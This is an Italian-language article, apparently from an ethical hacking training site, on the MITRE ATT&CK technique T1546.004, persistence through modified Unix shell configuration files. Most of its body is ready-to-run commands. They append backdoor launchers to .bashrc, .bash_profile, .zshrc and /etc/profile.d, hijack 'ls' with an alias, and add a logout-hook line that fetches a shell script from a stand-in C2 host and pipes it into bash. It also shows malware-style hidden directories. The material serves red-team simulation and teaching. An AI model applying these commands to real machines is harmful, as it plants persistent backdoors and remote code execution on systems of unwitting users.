Modifiche Shell Unix: Unix Shell Configuration Modification (T1546.004)
La modifica dei file di configurazione delle shell Unix rappresenta una tecnica di persistenza particolarmente insidiosa. Gli avversari sfruttano il meccanismo automatico di esecuzione degli script di configurazione per mantenere l'accesso ai sistemi compromessi attraverso riavvii e cambi di sessione.
Questa tecnica si manifesta in due tattiche principali della kill chain: TA0003 (Persistence) per mantenere l'accesso ai sistemi e TA0004 (Privilege Escalation) quando gli script modificati vengono eseguiti con privilegi elevati. L'impatto è significativo, con 1 gruppo APT documentato, 4 malware che la implementano attivamente e 1 campagna recente che l'ha sfruttata.
Il funzionamento si basa sulla catena di esecuzione automatica degli script shell. Quando un utente apre un terminale o si connette via SSH, il sistema esegue una sequenza predefinita di file di configurazione, partendo da quelli di sistema in /etc fino a quelli utente nella home directory.
La simulazione di questa tecnica richiede comprensione della gerarchia dei file di configurazione. Per bash, il sistema esegue nell'ordine: /etc/profile, ~/.bash_profile, ~/.bash_login, ~/.profile, fermandosi al primo file esistente.
Per stabilire persistenza a livello utente, il comando più semplice è: echo 'nohup /tmp/backdoor.sh &' >> ~/.bashrc
Questo garantisce esecuzione sia per shell interattive che connessioni SSH. Per massimizzare l'affidabilità, create il payload in più posizioni:
echo '[ -f /tmp/beacon ] && /tmp/beacon' >> ~/.bash_profile
echo 'alias ls="/tmp/beacon; ls"' >> ~/.bashrc
echo 'curl -s http://c2.domain/shell.sh | bash' >> ~/.bash_logout
Su macOS 10.15+, la shell predefinita zsh richiede file diversi. Il vettore principale diventa ~/.zshrc: echo 'osascript -e "do shell script "/tmp/payload""' >> ~/.zshrc
XCSSET dimostra una tecnica più sofisticata creando un file alias separato: echo "payload" > ~/.zshrc_aliases && echo '[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases' >> ~/.zshrc
Per privilegi elevati, target i file di sistema (richiede root): echo '/opt/malware/daemon &' >> /etc/profile.d/custom.sh
Il malware RotaJakiro usa un approccio stealth creando directory nascoste: mkdir -p ${HOME}/.gvfsd/.profile/ && cp backdoor ${HOME}/.gvfsd/.profile/svc
Per testare senza riavviare la sessione: source ~/.bashrc
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo